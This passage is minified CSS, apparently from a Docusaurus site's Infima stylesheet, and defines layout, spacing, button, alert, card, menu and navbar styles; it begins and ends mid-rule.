0;margin-left:0;max-width:var(--ifm-col-width)}.padding-bottom--none,.padding-vert--none{padding-bottom:0!important}.padding-top--none,.padding-vert--none{padding-top:0!important}.padding-horiz--none,.padding-left--none{padding-left:0!important}.padding-horiz--none,.padding-right--none{padding-right:0!important}.col[class*=col--]{flex:0 0 var(--ifm-col-width)}.col--1{--ifm-col-width:8.33333%}.col--offset-1{margin-left:8.33333%}.col--2{--ifm-col-width:16.66667%}.col--offset-2{margin-left:16.66667%}.col--3{--ifm-col-width:25%}.col--offset-3{margin-left:25%}.col--4{--ifm-col-width:33.33333%}.col--offset-4{margin-left:33.33333%}.col--5{--ifm-col-width:41.66667%}.col--offset-5{margin-left:41.66667%}.col--6{--ifm-col-width:50%}.col--offset-6{margin-left:50%}.col--7{--ifm-col-width:58.33333%}.col--offset-7{margin-left:58.33333%}.col--8{--ifm-col-width:66.66667%}.col--offset-8{margin-left:66.66667%}.col--9{--ifm-col-width:75%}.col--offset-9{margin-left:75%}.col--10{--ifm-col-width:83.33333%}.col--offset-10{margin-left:83.33333%}.col--11{--ifm-col-width:91.66667%}.col--offset-11{margin-left:91.66667%}.col--12{--ifm-col-width:100%}.col--offset-12{margin-left:100%}.margin-horiz--none,.margin-left--none{margin-left:0!important}.margin--none{margin:0!important}.margin-bottom--xs,.margin-vert--xs{margin-bottom:.25rem!important}.margin-top--xs,.margin-vert--xs{margin-top:.25rem!important}.margin-horiz--xs,.margin-left--xs{margin-left:.25rem!important}.margin-horiz--xs,.margin-right--xs{margin-right:.25rem!important}.margin--xs{margin:.25rem!important}.margin-bottom--sm,.margin-vert--sm{margin-bottom:.5rem!important}.margin-top--sm,.margin-vert--sm{margin-top:.5rem!important}.margin-horiz--sm,.margin-left--sm{margin-left:.5rem!important}.margin-horiz--sm,.margin-right--sm{margin-right:.5rem!important}.margin--sm{margin:.5rem!important}.margin-bottom--md,.margin-vert--md{margin-bottom:1rem!important}.margin-top--md,.margin-vert--md{margin-top:1rem!important}.margin-horiz--md,.margin-left--md{margin-left:1rem!important}.margin-horiz--md,.margin-right--md{margin-right:1rem!important}.margin--md{margin:1rem!important}.margin-bottom--lg,.margin-vert--lg{margin-bottom:2rem!important}.margin-top--lg,.margin-vert--lg{margin-top:2rem!important}.margin-horiz--lg,.margin-left--lg{margin-left:2rem!important}.margin-horiz--lg,.margin-right--lg{margin-right:2rem!important}.margin--lg{margin:2rem!important}.margin-bottom--xl,.margin-vert--xl{margin-bottom:5rem!important}.margin-top--xl,.margin-vert--xl{margin-top:5rem!important}.margin-horiz--xl,.margin-left--xl{margin-left:5rem!important}.margin-horiz--xl,.margin-right--xl{margin-right:5rem!important}.margin--xl{margin:5rem!important}.padding--none{padding:0!important}.padding-bottom--xs,.padding-vert--xs{padding-bottom:.25rem!important}.padding-top--xs,.padding-vert--xs{padding-top:.25rem!important}.padding-horiz--xs,.padding-left--xs{padding-left:.25rem!important}.padding-horiz--xs,.padding-right--xs{padding-right:.25rem!important}.padding--xs{padding:.25rem!important}.padding-bottom--sm,.padding-vert--sm{padding-bottom:.5rem!important}.padding-top--sm,.padding-vert--sm{padding-top:.5rem!important}.padding-horiz--sm,.padding-left--sm{padding-left:.5rem!important}.padding-horiz--sm,.padding-right--sm{padding-right:.5rem!important}.padding--sm{padding:.5rem!important}.padding-bottom--md,.padding-vert--md{padding-bottom:1rem!important}.padding-top--md,.padding-vert--md{padding-top:1rem!important}.padding-horiz--md,.padding-left--md{padding-left:1rem!important}.padding-horiz--md,.padding-right--md{padding-right:1rem!important}.padding--md{padding:1rem!important}.padding-bottom--lg,.padding-vert--lg{padding-bottom:2rem!important}.padding-top--lg,.padding-vert--lg{padding-top:2rem!important}.padding-horiz--lg,.padding-left--lg{padding-left:2rem!important}.padding-horiz--lg,.padding-right--lg{padding-right:2rem!important}.padding--lg{padding:2rem!important}.padding-bottom--xl,.padding-vert--xl{padding-bottom:5rem!important}.padding-top--xl,.padding-vert--xl{padding-top:5rem!important}.padding-horiz--xl,.padding-left--xl{padding-left:5rem!important}.padding-horiz--xl,.padding-right--xl{padding-right:5rem!important}.padding--xl{padding:5rem!important}code{background-color:var(--ifm-code-background);border:.1rem solid #0000001a;border-radius:var(--ifm-code-border-radius);font-family:var(--ifm-font-family-monospace);font-size:var(--ifm-code-font-size);padding:var(--ifm-code-padding-vertical) var(--ifm-code-padding-horizontal)}a code{color:inherit}pre{background-color:var(--ifm-pre-background);border-radius:var(--ifm-pre-border-radius);color:var(--ifm-pre-color);font:var(--ifm-code-font-size)/var(--ifm-pre-line-height) var(--ifm-font-family-monospace);padding:var(--ifm-pre-padding)}pre code{background-color:initial;border:none;font-size:100%;line-height:inherit;padding:0}kbd{background-color:var(--ifm-color-emphasis-0);border:1px solid var(--ifm-color-emphasis-400);border-radius:.2rem;box-shadow:inset 0 -1px 0 var(--ifm-color-emphasis-400);color:var(--ifm-color-emphasis-800);font:80% var(--ifm-font-family-monospace);padding:.15rem .3rem}h1,h2,h3,h4,h5,h6{color:var(--ifm-heading-color);font-family:var(--ifm-heading-font-family);font-weight:var(--ifm-heading-font-weight);line-height:var(--ifm-heading-line-height);margin:var(--ifm-heading-margin-top) 0 var(--ifm-heading-margin-bottom) 0}h1{font-size:var(--ifm-h1-font-size)}h2{font-size:var(--ifm-h2-font-size)}h3{font-size:var(--ifm-h3-font-size)}h4{font-size:var(--ifm-h4-font-size)}h5{font-size:var(--ifm-h5-font-size)}h6{font-size:var(--ifm-h6-font-size)}img{max-width:100%}img[align=right]{padding-left:var(--image-alignment-padding)}img[align=left]{padding-right:var(--image-alignment-padding)}.markdown{--ifm-h1-vertical-rhythm-top:3;--ifm-h2-vertical-rhythm-top:2;--ifm-h3-vertical-rhythm-top:1.5;--ifm-heading-vertical-rhythm-top:1.25;--ifm-h1-vertical-rhythm-bottom:1.25;--ifm-heading-vertical-rhythm-bottom:1}.markdown:after,.markdown:before{content:"";display:table}.markdown:after{clear:both}.markdown h1:first-child{--ifm-h1-font-size:3rem;margin-bottom:calc(var(--ifm-h1-vertical-rhythm-bottom)*var(--ifm-leading))}.markdown>h2{--ifm-h2-font-size:2rem;margin-top:calc(var(--ifm-h2-vertical-rhythm-top)*var(--ifm-leading))}.markdown>h3{--ifm-h3-font-size:1.5rem;margin-top:calc(var(--ifm-h3-vertical-rhythm-top)*var(--ifm-leading))}.markdown>h4,.markdown>h5,.markdown>h6{margin-top:calc(var(--ifm-heading-vertical-rhythm-top)*var(--ifm-leading))}.markdown>p,.markdown>pre,.markdown>ul{margin-bottom:var(--ifm-leading)}.markdown li>p{margin-top:var(--ifm-list-paragraph-margin)}.markdown li+li{margin-top:var(--ifm-list-item-margin)}ol,ul{margin:0 0 var(--ifm-list-margin);padding-left:var(--ifm-list-left-padding)}ol ol,ul ol{list-style-type:lower-roman}ol ol ol,ol ul ol,ul ol ol,ul ul ol{list-style-type:lower-alpha}table{border-collapse:collapse;display:block;margin-bottom:var(--ifm-spacing-vertical)}table thead tr{border-bottom:2px solid var(--ifm-table-border-color)}table thead,table tr:nth-child(2n){background-color:var(--ifm-table-stripe-background)}table tr{background-color:var(--ifm-table-background);border-top:var(--ifm-table-border-width) solid var(--ifm-table-border-color)}table td,table th{border:var(--ifm-table-border-width) solid var(--ifm-table-border-color);padding:var(--ifm-table-cell-padding)}table th{background-color:var(--ifm-table-head-background);color:var(--ifm-table-head-color);font-weight:var(--ifm-table-head-font-weight)}table td{color:var(--ifm-table-cell-color)}strong{font-weight:var(--ifm-font-weight-bold)}a{color:var(--ifm-link-color);text-decoration:var(--ifm-link-decoration)}a:hover{color:var(--ifm-link-hover-color);text-decoration:var(--ifm-link-hover-decoration)}.button:hover,.text--no-decoration,.text--no-decoration:hover,a:not([href]){-webkit-text-decoration:none;text-decoration:none}p{margin:0 0 var(--ifm-paragraph-margin-bottom)}blockquote{border-left:var(--ifm-blockquote-border-left-width) solid var(--ifm-blockquote-border-color);box-shadow:var(--ifm-blockquote-shadow);color:var(--ifm-blockquote-color);font-size:var(--ifm-blockquote-font-size);padding:var(--ifm-blockquote-padding-vertical) var(--ifm-blockquote-padding-horizontal)}blockquote>:first-child{margin-top:0}blockquote>:last-child{margin-bottom:0}hr{background-color:var(--ifm-hr-background-color);border:0;height:var(--ifm-hr-height);margin:var(--ifm-hr-margin-vertical) 0}.shadow--lw{box-shadow:var(--ifm-global-shadow-lw)!important}.shadow--md{box-shadow:var(--ifm-global-shadow-md)!important}.shadow--tl{box-shadow:var(--ifm-global-shadow-tl)!important}.text--primary{color:var(--ifm-color-primary)}.text--secondary{color:var(--ifm-color-secondary)}.text--success{color:var(--ifm-color-success)}.text--info{color:var(--ifm-color-info)}.text--warning{color:var(--ifm-color-warning)}.text--danger{color:var(--ifm-color-danger)}.text--center{text-align:center}.text--left{text-align:left}.text--justify{text-align:justify}.text--right{text-align:right}.text--capitalize{text-transform:capitalize}.text--lowercase{text-transform:lowercase}.alert__heading,.text--uppercase{text-transform:uppercase}.text--light{font-weight:var(--ifm-font-weight-light)}.text--normal{font-weight:var(--ifm-font-weight-normal)}.text--semibold{font-weight:var(--ifm-font-weight-semibold)}.text--bold{font-weight:var(--ifm-font-weight-bold)}.text--italic{font-style:italic}.text--truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.text--break{word-wrap:break-word!important;word-break:break-word!important}.clean-btn{background:none;border:none;color:inherit;cursor:pointer;font-family:inherit;padding:0}.alert,.alert .close{color:var(--ifm-alert-foreground-color)}.clean-list{list-style:none;padding-left:0}.alert--primary{--ifm-alert-background-color:var(--ifm-color-primary-contrast-background);--ifm-alert-background-color-highlight:#3578e526;--ifm-alert-foreground-color:var(--ifm-color-primary-contrast-foreground);--ifm-alert-border-color:var(--ifm-color-primary-dark)}.alert--secondary{--ifm-alert-background-color:var(--ifm-color-secondary-contrast-background);--ifm-alert-background-color-highlight:#ebedf026;--ifm-alert-foreground-color:var(--ifm-color-secondary-contrast-foreground);--ifm-alert-border-color:var(--ifm-color-secondary-dark)}.alert--success{--ifm-alert-background-color:var(--ifm-color-success-contrast-background);--ifm-alert-background-color-highlight:#00a40026;--ifm-alert-foreground-color:var(--ifm-color-success-contrast-foreground);--ifm-alert-border-color:var(--ifm-color-success-dark)}.alert--info{--ifm-alert-background-color:var(--ifm-color-info-contrast-background);--ifm-alert-background-color-highlight:#54c7ec26;--ifm-alert-foreground-color:var(--ifm-color-info-contrast-foreground);--ifm-alert-border-color:var(--ifm-color-info-dark)}.alert--warning{--ifm-alert-background-color:var(--ifm-color-warning-contrast-background);--ifm-alert-background-color-highlight:#ffba0026;--ifm-alert-foreground-color:var(--ifm-color-warning-contrast-foreground);--ifm-alert-border-color:var(--ifm-color-warning-dark)}.alert--danger{--ifm-alert-background-color:var(--ifm-color-danger-contrast-background);--ifm-alert-background-color-highlight:#fa383e26;--ifm-alert-foreground-color:var(--ifm-color-danger-contrast-foreground);--ifm-alert-border-color:var(--ifm-color-danger-dark)}.alert{--ifm-code-background:var(--ifm-alert-background-color-highlight);--ifm-link-color:var(--ifm-alert-foreground-color);--ifm-link-hover-color:var(--ifm-alert-foreground-color);--ifm-link-decoration:underline;--ifm-tabs-color:var(--ifm-alert-foreground-color);--ifm-tabs-color-active:var(--ifm-alert-foreground-color);--ifm-tabs-color-active-border:var(--ifm-alert-border-color);background-color:var(--ifm-alert-background-color);border:var(--ifm-alert-border-width) solid var(--ifm-alert-border-color);border-left-width:var(--ifm-alert-border-left-width);border-radius:var(--ifm-alert-border-radius);box-shadow:var(--ifm-alert-shadow);padding:var(--ifm-alert-padding-vertical) var(--ifm-alert-padding-horizontal)}.alert__heading{align-items:center;display:flex;font:700 var(--ifm-h5-font-size)/var(--ifm-heading-line-height) var(--ifm-heading-font-family);margin-bottom:.5rem}.alert__icon{display:inline-flex;margin-right:.4em}.alert__icon svg{fill:var(--ifm-alert-foreground-color);stroke:var(--ifm-alert-foreground-color);stroke-width:0}.alert .close{margin:calc(var(--ifm-alert-padding-vertical)*-1) calc(var(--ifm-alert-padding-horizontal)*-1) 0 0;opacity:.75}.alert .close:focus,.alert .close:hover{opacity:1}.alert a{text-decoration-color:var(--ifm-alert-border-color)}.alert a:hover{text-decoration-thickness:2px}.avatar{column-gap:var(--ifm-avatar-intro-margin);display:flex}.avatar__photo{border-radius:50%;display:block;height:var(--ifm-avatar-photo-size);overflow:hidden;width:var(--ifm-avatar-photo-size)}.card--full-height,.navbar__logo img{height:100%}.avatar__photo--sm{--ifm-avatar-photo-size:2rem}.avatar__photo--lg{--ifm-avatar-photo-size:4rem}.avatar__photo--xl{--ifm-avatar-photo-size:6rem}.avatar__intro{display:flex;flex:1 1;flex-direction:column;justify-content:center;text-align:var(--ifm-avatar-intro-alignment)}.badge,.breadcrumbs__item,.breadcrumbs__link,.button,.dropdown>.navbar__link:after{display:inline-block}.avatar__name{font:700 var(--ifm-h4-font-size)/var(--ifm-heading-line-height) var(--ifm-font-family-base)}.avatar__subtitle{margin-top:.25rem}.avatar--vertical{--ifm-avatar-intro-alignment:center;--ifm-avatar-intro-margin:0.5rem;align-items:center;flex-direction:column}.badge{background-color:var(--ifm-badge-background-color);border:var(--ifm-badge-border-width) solid var(--ifm-badge-border-color);border-radius:var(--ifm-badge-border-radius);color:var(--ifm-badge-color);font-size:75%;font-weight:var(--ifm-font-weight-bold);line-height:1;padding:var(--ifm-badge-padding-vertical) var(--ifm-badge-padding-horizontal)}.badge--primary{--ifm-badge-background-color:var(--ifm-color-primary)}.badge--secondary{--ifm-badge-background-color:var(--ifm-color-secondary);color:var(--ifm-color-black)}.breadcrumbs__link,.button.button--secondary.button--outline:not(.button--active):not(:hover){color:var(--ifm-font-color-base)}.badge--success{--ifm-badge-background-color:var(--ifm-color-success)}.badge--info{--ifm-badge-background-color:var(--ifm-color-info)}.badge--warning{--ifm-badge-background-color:var(--ifm-color-warning)}.badge--danger{--ifm-badge-background-color:var(--ifm-color-danger)}.breadcrumbs{margin-bottom:0;padding-left:0}.breadcrumbs__item:not(:last-child):after{background:var(--ifm-breadcrumb-separator) center;content:" ";display:inline-block;filter:var(--ifm-breadcrumb-separator-filter);height:calc(var(--ifm-breadcrumb-separator-size)*var(--ifm-breadcrumb-size-multiplier)*var(--ifm-breadcrumb-separator-size-multiplier));margin:0 var(--ifm-breadcrumb-spacing);opacity:.5;width:calc(var(--ifm-breadcrumb-separator-size)*var(--ifm-breadcrumb-size-multiplier)*var(--ifm-breadcrumb-separator-size-multiplier))}.breadcrumbs__item--active .breadcrumbs__link{background:var(--ifm-breadcrumb-item-background-active);color:var(--ifm-breadcrumb-color-active)}.breadcrumbs__link{border-radius:var(--ifm-breadcrumb-border-radius);font-size:calc(1rem*var(--ifm-breadcrumb-size-multiplier));padding:calc(var(--ifm-breadcrumb-padding-vertical)*var(--ifm-breadcrumb-size-multiplier)) calc(var(--ifm-breadcrumb-padding-horizontal)*var(--ifm-breadcrumb-size-multiplier));transition-duration:var(--ifm-transition-fast);transition-property:background,color}.breadcrumbs__link:any-link:hover,.breadcrumbs__link:link:hover,.breadcrumbs__link:visited:hover,area[href].breadcrumbs__link:hover{background:var(--ifm-breadcrumb-item-background-active);-webkit-text-decoration:none;text-decoration:none}.breadcrumbs--sm{--ifm-breadcrumb-size-multiplier:0.8}.breadcrumbs--lg{--ifm-breadcrumb-size-multiplier:1.2}.button{background-color:var(--ifm-button-background-color);border:var(--ifm-button-border-width) solid var(--ifm-button-border-color);border-radius:var(--ifm-button-border-radius);cursor:pointer;font-size:calc(.875rem*var(--ifm-button-size-multiplier));font-weight:var(--ifm-button-font-weight);line-height:1.5;padding:calc(var(--ifm-button-padding-vertical)*var(--ifm-button-size-multiplier)) calc(var(--ifm-button-padding-horizontal)*var(--ifm-button-size-multiplier));text-align:center;transition-duration:var(--ifm-button-transition-duration);transition-property:color,background,border-color;-webkit-user-select:none;user-select:none;white-space:nowrap}.button,.button:hover{color:var(--ifm-button-color)}.button--outline{--ifm-button-color:var(--ifm-button-border-color)}.button--outline:hover{--ifm-button-background-color:var(--ifm-button-border-color)}.button--link{--ifm-button-border-color:#0000;color:var(--ifm-link-color);text-decoration:var(--ifm-link-decoration)}.button--link.button--active,.button--link:active,.button--link:hover{color:var(--ifm-link-hover-color);text-decoration:var(--ifm-link-hover-decoration)}.dropdown__link--active,.dropdown__link:hover,.menu__link:hover,.navbar__brand:hover,.navbar__link--active,.navbar__link:hover,.pagination-nav__link:hover,.pagination__link:hover{-webkit-text-decoration:none;text-decoration:none}.button.disabled,.button:disabled,.button[disabled]{opacity:.65;pointer-events:none}.button--sm{--ifm-button-size-multiplier:0.8}.button--lg{--ifm-button-size-multiplier:1.35}.button--block{display:block;width:100%}.button.button--secondary{color:var(--ifm-color-gray-900)}:where(.button--primary){--ifm-button-background-color:var(--ifm-color-primary);--ifm-button-border-color:var(--ifm-color-primary)}:where(.button--primary):not(.button--outline):hover{--ifm-button-background-color:var(--ifm-color-primary-dark);--ifm-button-border-color:var(--ifm-color-primary-dark)}.button--primary.button--active,.button--primary:active{--ifm-button-background-color:var(--ifm-color-primary-darker);--ifm-button-border-color:var(--ifm-color-primary-darker)}:where(.button--secondary){--ifm-button-background-color:var(--ifm-color-secondary);--ifm-button-border-color:var(--ifm-color-secondary)}:where(.button--secondary):not(.button--outline):hover{--ifm-button-background-color:var(--ifm-color-secondary-dark);--ifm-button-border-color:var(--ifm-color-secondary-dark)}.button--secondary.button--active,.button--secondary:active{--ifm-button-background-color:var(--ifm-color-secondary-darker);--ifm-button-border-color:var(--ifm-color-secondary-darker)}:where(.button--success){--ifm-button-background-color:var(--ifm-color-success);--ifm-button-border-color:var(--ifm-color-success)}:where(.button--success):not(.button--outline):hover{--ifm-button-background-color:var(--ifm-color-success-dark);--ifm-button-border-color:var(--ifm-color-success-dark)}.button--success.button--active,.button--success:active{--ifm-button-background-color:var(--ifm-color-success-darker);--ifm-button-border-color:var(--ifm-color-success-darker)}:where(.button--info){--ifm-button-background-color:var(--ifm-color-info);--ifm-button-border-color:var(--ifm-color-info)}:where(.button--info):not(.button--outline):hover{--ifm-button-background-color:var(--ifm-color-info-dark);--ifm-button-border-color:var(--ifm-color-info-dark)}.button--info.button--active,.button--info:active{--ifm-button-background-color:var(--ifm-color-info-darker);--ifm-button-border-color:var(--ifm-color-info-darker)}:where(.button--warning){--ifm-button-background-color:var(--ifm-color-warning);--ifm-button-border-color:var(--ifm-color-warning)}:where(.button--warning):not(.button--outline):hover{--ifm-button-background-color:var(--ifm-color-warning-dark);--ifm-button-border-color:var(--ifm-color-warning-dark)}.button--warning.button--active,.button--warning:active{--ifm-button-background-color:var(--ifm-color-warning-darker);--ifm-button-border-color:var(--ifm-color-warning-darker)}:where(.button--danger){--ifm-button-background-color:var(--ifm-color-danger);--ifm-button-border-color:var(--ifm-color-danger)}:where(.button--danger):not(.button--outline):hover{--ifm-button-background-color:var(--ifm-color-danger-dark);--ifm-button-border-color:var(--ifm-color-danger-dark)}.button--danger.button--active,.button--danger:active{--ifm-button-background-color:var(--ifm-color-danger-darker);--ifm-button-border-color:var(--ifm-color-danger-darker)}.button-group{display:inline-flex;gap:var(--ifm-button-group-spacing)}.button-group>.button:not(:first-child){border-bottom-left-radius:0;border-top-left-radius:0}.button-group>.button:not(:last-child){border-bottom-right-radius:0;border-top-right-radius:0}.button-group--block{display:flex;justify-content:stretch}.button-group--block>.button{flex-grow:1}.card{background-color:var(--ifm-card-background-color);border-radius:var(--ifm-card-border-radius);box-shadow:var(--ifm-global-shadow-lw);display:flex;flex-direction:column;overflow:hidden}.card__image{padding-top:var(--ifm-card-vertical-spacing)}.card__image:first-child{padding-top:0}.card__body,.card__footer,.card__header{padding:var(--ifm-card-vertical-spacing) var(--ifm-card-horizontal-spacing)}.card__body:not(:last-child),.card__footer:not(:last-child),.card__header:not(:last-child){padding-bottom:0}.card__body>:last-child,.card__footer>:last-child,.card__header>:last-child{margin-bottom:0}.card__footer{margin-top:auto}.table-of-contents{font-size:.8rem;margin-bottom:0;padding:var(--ifm-toc-padding-vertical) 0}.table-of-contents,.table-of-contents ul{list-style:none;padding-left:var(--ifm-toc-padding-horizontal)}.table-of-contents li{margin:var(--ifm-toc-padding-vertical) var(--ifm-toc-padding-horizontal)}.table-of-contents__left-border{border-left:1px solid var(--ifm-toc-border-color)}.table-of-contents__link{color:var(--ifm-toc-link-color);display:block}.table-of-contents__link--active,.table-of-contents__link--active code,.table-of-contents__link:hover,.table-of-contents__link:hover code{color:var(--ifm-color-primary);-webkit-text-decoration:none;text-decoration:none}.close{color:var(--ifm-color-black);float:right;font-size:1.5rem;font-weight:var(--ifm-font-weight-bold);line-height:1;opacity:.5;padding:1rem;transition:opacity var(--ifm-transition-fast) var(--ifm-transition-timing-default)}.close:hover{opacity:.7}.close:focus{opacity:.8}.dropdown{display:inline-flex;font-weight:var(--ifm-dropdown-font-weight);position:relative;vertical-align:top}.dropdown--hoverable:hover .dropdown__menu,.dropdown--show .dropdown__menu{opacity:1;pointer-events:all;transform:translateY(-1px);visibility:visible}.dropdown__menu,.navbar__item.dropdown .navbar__link:not([href]){pointer-events:none}.dropdown--right .dropdown__menu{left:inherit;right:0}.dropdown--nocaret .navbar__link:after{content:none!important}.dropdown__menu{background-color:var(--ifm-dropdown-background-color);border-radius:var(--ifm-global-radius);box-shadow:var(--ifm-global-shadow-md);left:0;list-style:none;max-height:80vh;min-width:10rem;opacity:0;overflow-y:auto;padding:.5rem;position:absolute;top:calc(100% - var(--ifm-navbar-item-padding-vertical) + .3rem);transform:translateY(-.625rem);transition-duration:var(--ifm-transition-fast);transition-property:opacity,transform,visibility;transition-timing-function:var(--ifm-transition-timing-default);visibility:hidden;z-index:var(--ifm-z-index-dropdown)}.menu__caret,.menu__link,.menu__list-item-collapsible{border-radius:.25rem;transition:background var(--ifm-transition-fast) var(--ifm-transition-timing-default)}.dropdown__link{border-radius:.25rem;color:var(--ifm-dropdown-link-color);display:block;font-size:.875rem;margin-top:.2rem;padding:.25rem .5rem;white-space:nowrap}.dropdown__link--active,.dropdown__link:hover{background-color:var(--ifm-dropdown-hover-background-color);color:var(--ifm-dropdown-link-color)}.dropdown__link--active,.dropdown__link--active:hover{--ifm-dropdown-link-color:var(--ifm-link-color)}.dropdown>.navbar__link:after{border-color:currentcolor #0000;border-style:solid;border-width:.4em .4em 0;content:"";margin-left:.3em;position:relative;top:2px;transform:translateY(-50%)}.footer{background-color:var(--ifm-footer-background-color);color:var(--ifm-footer-color);padding:var(--ifm-footer-padding-vertical) var(--ifm-footer-padding-horizontal)}.footer--dark{--ifm-footer-background-color:#303846;--ifm-footer-color:var(--ifm-footer-link-color);--ifm-footer-link-color:var(--ifm-color-secondary);--ifm-footer-title-color:var(--ifm-color-white)}.footer__links{margin-bottom:1rem}.footer__link-item{color:var(--ifm-footer-link-color);line-height:2}.footer__link-item:hover{color:var(--ifm-footer-link-hover-color)}.footer__link-separator{margin:0 var(--ifm-footer-link-horizontal-spacing)}.footer__logo{margin-top:1rem;max-width:var(--ifm-footer-logo-max-width)}.footer__title{color:var(--ifm-footer-title-color);font:700 var(--ifm-h4-font-size)/var(--ifm-heading-line-height) var(--ifm-font-family-base);margin-bottom:var(--ifm-heading-margin-bottom)}.menu,.navbar__link{font-weight:var(--ifm-font-weight-semibold)}.footer__item{margin-top:0}.footer__items{margin-bottom:0}[type=checkbox]{padding:0}.hero{align-items:center;background-color:var(--ifm-hero-background-color);color:var(--ifm-hero-text-color);display:flex;padding:4rem 2rem}.hero--primary{--ifm-hero-background-color:var(--ifm-color-primary);--ifm-hero-text-color:var(--ifm-font-color-base-inverse)}.hero--dark{--ifm-hero-background-color:#303846;--ifm-hero-text-color:var(--ifm-color-white)}.hero__title{font-size:3rem}.hero__subtitle{font-size:1.5rem}.menu__list{list-style:none;margin:0;padding-left:0}.menu__caret,.menu__link{padding:var(--ifm-menu-link-padding-vertical) var(--ifm-menu-link-padding-horizontal)}.menu__list .menu__list{flex:0 0 100%;margin-top:.25rem;padding-left:var(--ifm-menu-link-padding-horizontal)}.menu__list-item:not(:first-child){margin-top:.25rem}.menu__list-item--collapsed .menu__list{height:0;overflow:hidden}.menu__list-item--collapsed .menu__caret:before,.menu__list-item--collapsed .menu__link--sublist:after{transform:rotate(90deg)}.menu__list-item-collapsible{display:flex;flex-wrap:wrap;position:relative}.menu__caret:hover,.menu__link:hover,.menu__list-item-collapsible--active,.menu__list-item-collapsible:hover{background:var(--ifm-menu-color-background-hover)}.menu__list-item-collapsible .menu__link--active,.menu__list-item-collapsible .menu__link:hover{background:none!important}.menu__caret,.menu__link{align-items:center;display:flex}.menu__link{color:var(--ifm-menu-color);flex:1;line-height:1.25}.menu__link:hover{color:var(--ifm-menu-color)}.menu__caret:before,.menu__link--sublist-caret:after{content:"";filter:var(--ifm-menu-link-sublist-icon-filter);height:1.25rem;transform:rotate(180deg);transition:transform var(--ifm-transition-fast) linear;width:1.25rem}.menu__link--sublist-caret:after{background:var(--ifm-menu-link-sublist-icon) 50%/2rem 2rem;margin-left:auto;min-width:1.25rem}.menu__link--active,.menu__link--active:hover{color:var(--ifm-menu-color-active)}.navbar__brand,.navbar__link{color:var(--ifm-navbar-link-color)}.menu__link--active:not(.menu__link--sublist){background-color:var(--ifm-menu-color-background-active)}.menu__caret:before{background:var(--ifm-menu-link-sublist-icon) 50%/2rem 2rem}.navbar--dark,html[data-theme=dark]{--ifm-menu-link-sublist-icon-filter:invert(100%) sepia(94%) saturate(17%) hue-rotate(223deg) brightness(104%) contrast(98%)}.navbar{background-color:var(--ifm-navbar-background-color);box-shadow:var(--ifm-navbar-shadow);height:var(--ifm-navbar-height);padding:var(--ifm-navbar-padding-vertical) var(--ifm-navbar-padding-horizontal)}.navbar,.navbar>.container,.navbar>.container-fluid{display:flex}.navbar--fixed-top{position:sticky;top:0;z-index:var(--ifm-z-index-fixed)}.navbar-sidebar,.navbar-sidebar__backdrop{bottom:0;left:0;opacity:0;position:fixed;top:0;transition-duration:var(--ifm-transition-fast);transition-timing-function:ease-in-out;visibility:hidden}.navbar__inner{display:flex;flex-wrap:wrap;justify-content:space-between;width:100%}.navbar__brand{align-items:center;display:flex;margin-right:1rem;min-width:0}.navbar__brand:hover{color:var(--ifm-navbar-link-hover-color)}.navbar__title{flex:1 1 auto}.navbar__toggle{display:none;margin-right:.5rem}.navbar__logo{flex:0 0 auto;height:2rem;margin-right:.5rem}.navbar__items{align-items:center;display:flex;flex:1;min-width:0}.navbar__items--center{flex:0 0 auto}.navbar__items--center .navbar__brand{margin:0}.navbar__items--center+.navbar__items--right{flex:1}.navbar__items--right{flex:0 0 auto;justify-content:flex-end}.navbar__items--right>:last-child{padding-right:0}.navbar__item{display:inline-block;padding:var(--ifm-navbar-item-padding-vertical) var(--ifm-navbar-item-padding-horizontal)}.navbar__link--active,.navbar__link:hover{color:var(--ifm-navbar-link-hover-color)}.navbar--dark,.navbar--primary{--ifm-menu-color:var(--ifm-color-gray-300);--ifm-navbar-link-color:var(--ifm-color-gray-100);--ifm-navbar-search-input-background-color:#ffffff1a;--ifm-navbar-search-input-placeholder-color:#ffffff80;color:var(--ifm-color-white)}.navbar--dark{--ifm-navbar-background-color:#242526;--ifm-menu-color-background-active:#ffffff0d;--ifm-navbar-search-input-color:var(--ifm-color-white)}.navbar--primary{--ifm-navbar-background-color:var(--ifm-color-primary);--ifm-navbar-link-hover-color:var(--ifm-color-white);--ifm-menu-color-active:var(--ifm-color-white);--ifm-navbar-search-input-color:var(--ifm-color-emphasis-500)}.navbar__search-input{appearance:none;background:var(--ifm-navbar-search-input-background-color) var(--ifm-navbar-search-input-icon) no-repeat .75rem center/1rem 1rem;border:none;border-radius:2rem;color:var(--ifm-navbar-search-input-color);cursor:text;display:inline-block;font-size:1rem;height:2rem;padding:0 .5rem 0 2.25rem;width:12.5rem}.navbar__search-input::placeholder{color:var(--ifm-navbar-search-input-placeholder-color)}.navbar-sidebar{background-color:var(--ifm-navbar-background-color);box-shadow:var(--ifm-global-shadow-md);transform:translate3d(-100%,0,0);transition-property:opacity,visibility,transform;width:var(--ifm-navbar-sidebar-width)}.navbar-sidebar--show .navbar-sidebar,.navbar-sidebar__items{transform:translateZ(0)}.navbar-sidebar--show .navbar-sidebar,.navbar-sidebar--show .navbar-sidebar__backdrop{opacity:1;visibility:visible}.navbar-sidebar__backdrop{background-color:#0009;right:0;transition-property:opacity,visibility}.navbar-sidebar__brand{align-items:center;box-shadow:var(--ifm-navbar-shadow);display:flex;flex:1;height:var(--ifm-navbar-height);padding:var(--ifm-navbar-padding-vertical) var(--ifm-navbar-padding-horizontal)}.navbar-sidebar__items{display:flex;height:calc(100% - var(--ifm-navbar-height));transition:transform var(--ifm-transition-fast) ease-in-out}.navbar-sidebar__items--show-secondary{transform:translate3d(calc((var(--ifm-navbar-sidebar-width))*-1),0,0)}.navbar-sidebar__item{flex-shrink:0;padding:.5rem;width:calc(var(--ifm-navbar-sidebar-width))}.navbar-sidebar__back{background:var(--ifm-menu-color-background-active);font-size:15px;font-weight:var(--ifm-button-font-weight);margin:0 0 .2rem -.5rem;padding:.6rem 1.5rem;position:relative;text-align:left;top:-.5rem;width:calc(100% + 